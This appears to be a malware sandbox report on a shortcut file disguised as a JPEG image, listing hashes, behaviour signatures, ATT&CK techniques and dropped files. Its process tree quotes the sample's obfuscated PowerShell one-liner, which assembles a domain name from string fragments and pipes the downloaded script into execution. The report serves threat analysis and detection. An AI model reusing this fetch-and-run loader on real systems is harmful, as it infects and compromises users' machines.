f2ce4dc0dafe90aba306ae10d58d9bf8e323386e2ae21354f7f371b31b39e42a

Analysis

max time kernel
149s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260802_182247.jpg.lnk
Size 1KB
Sample260803-qxtkfacm5s
SHA256 f2ce4dc0dafe90aba306ae10d58d9bf8e323386e2ae21354f7f371b31b39e42a
MD5 bac066051864f6f206ff66c0db78df88
SHA1 2769e186fc53b85a9c250df377ab8832042ec726
SHA512 de9817ce4c1a3f738a29a8b66fc1c78e7ba4586a1a3f77d58ca4a8e75b215a84dba6ca9ce20d0d2b5e01b55b47f641873069a0959bbccc24e30b0f799fd7fd21
TLSH
T1F721F1254BF30379D5B78B755876631187317A0EDA49CFDF1280C2949564224F878F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	612	powershell.exe
3	612	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5092	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	612	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5092 wrote to memory of 612	5092	cmd.exe	91
PID 612 wrote to memory of 5012	612	powershell.exe	92
PID 5012 wrote to memory of 5016	5012	csc.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260802_182247.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" irm (@('vphot','p','oins','ho','reser','taynow.s')[4,0,2,5,3,1] -join $Anyws0) | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:612
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hx21fj22\hx21fj22.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5012
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6911.tmp" "c:\Users\Admin\AppData\Local\Temp\hx21fj22\CSC3F87CB5B4591466C9C38953414F7CF64.TMP"
      4⤵
      PID:5016

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES6911.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES6911.tmp
Size 1KB
SHA256 c0dbd8691551240c02cd3ad9bb2f8bedfc474756fd759b0f4d1157088a550d41
MD5 6681793d849af0bc9e902cbc22070c98
SHA1 55ff91cf9ab8fa77e0cfc13d76e01ff81803b9de
SHA512 b90b0aea33ca6abef86c117fa55f71b07d9373ea0ded1833bc26cd8902a8b327cdf856e5d14124d1e607697dd725120f01105458b2794b02fed981371c54f6d1
TLSH
T190218C0993E9471FF0739B3169F6172FE275FCB8DFA1975A848052282C51504EEA0E72
MD5 SHA1 SHA512 TLSH

Submit Download

hx21fj22.dll

Path C:\Users\Admin\AppData\Local\Temp\hx21fj22\hx21fj22.dll
Size 3KB
SHA256 858d0f4fa98dab0956b1b942a63d12d0da39545989537d499df1cb073148f1af
MD5 a3da77628bb6adca6c9aec8ad5c49d7f
SHA1 8e3707713a5593ada6ab1b912ab12fcb9860c1e2
SHA512 5e314938f215c6f6a84ce34ab9c9aa75aa61d45ad50c110a35ab362dbaa97698b4a96469a920dd1dd4b531eede20656d43a6d8bca8849d1b2e540b0d91ebc0f4
TLSH
T1E851DC1AA3EC466BE4A74734AFE3435337B4F8549FB253AD59C04229AC21B146E31FB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC3F87CB5B4591466C9C38953414F7CF64.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\hx21fj22\CSC3F87CB5B4591466C9C38953414F7CF64.TMP
Size 652B
SHA256 df8888ec02ca53c733add70cc8caffc78d3e5fb8eb8bf486d84b12a10e02d621
MD5 a61b0a8fb105165b7b5872698b9be8e7
SHA1 e4d6c6998bfe77f05152ea7cc7e649c7496e91d6
SHA512 b079d104b2c2390d79ecb913b4dcbb89572b5ec994cac16bc10ee5e51a3f2f66ebc133e7346402baa0da73bd3c392565b00be85259b8c98ac7e4768dfdbc25f1
TLSH
T178F0540D63F8120EF0F39B30BDF543639169BCA4DE3253ED148013191864510A661F71
MD5 SHA1 SHA512 TLSH

Submit Download

hx21fj22.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\hx21fj22\hx21fj22.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

hx21fj22.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\hx21fj22\hx21fj22.cmdline
Size 369B
SHA256 fc1c4f4bc6c2c4aea4317fd2d93091b29efe8033d2f3c01cc8292b36d6f5ad98
MD5 03f0dabc460defc3d73f3c916af4cefd
SHA1 6ec5720535b722f8dc68a0c3f85a619e7cdce949
SHA512 bff16e1c94aed8443de220f7eb8518e8751a39ccdb4ba6eaa0adf354bc8959fa2ba199b5a21e8ebc4fc9bdadd361fd9e9118582aa2095d36e07c61001b070082
TLSH
T1E7E0682A4346CABD01D914072A69C5FC86B206CB2950FFC45480C48DD01780237E1741
MD5 SHA1 SHA512 TLSH

Submit Download

memory/612-10-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/612-6-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/612-11-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/612-12-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/612-13-0x000002B27F800000-0x000002B27F9C2000-memory.dmp

Download

memory/612-14-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/612-18-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/612-9-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/612-8-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/612-7-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/612-28-0x000002B27F630000-0x000002B27F638000-memory.dmp

Download

memory/612-2-0x00007FF8AEC0F000-0x00007FF8AEC10000-memory.dmp

Download

memory/612-5-0x000002B27F270000-0x000002B27F292000-memory.dmp

Download

memory/612-29-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/612-30-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/612-31-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/612-32-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/612-33-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/612-35-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/612-36-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/612-37-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/612-38-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download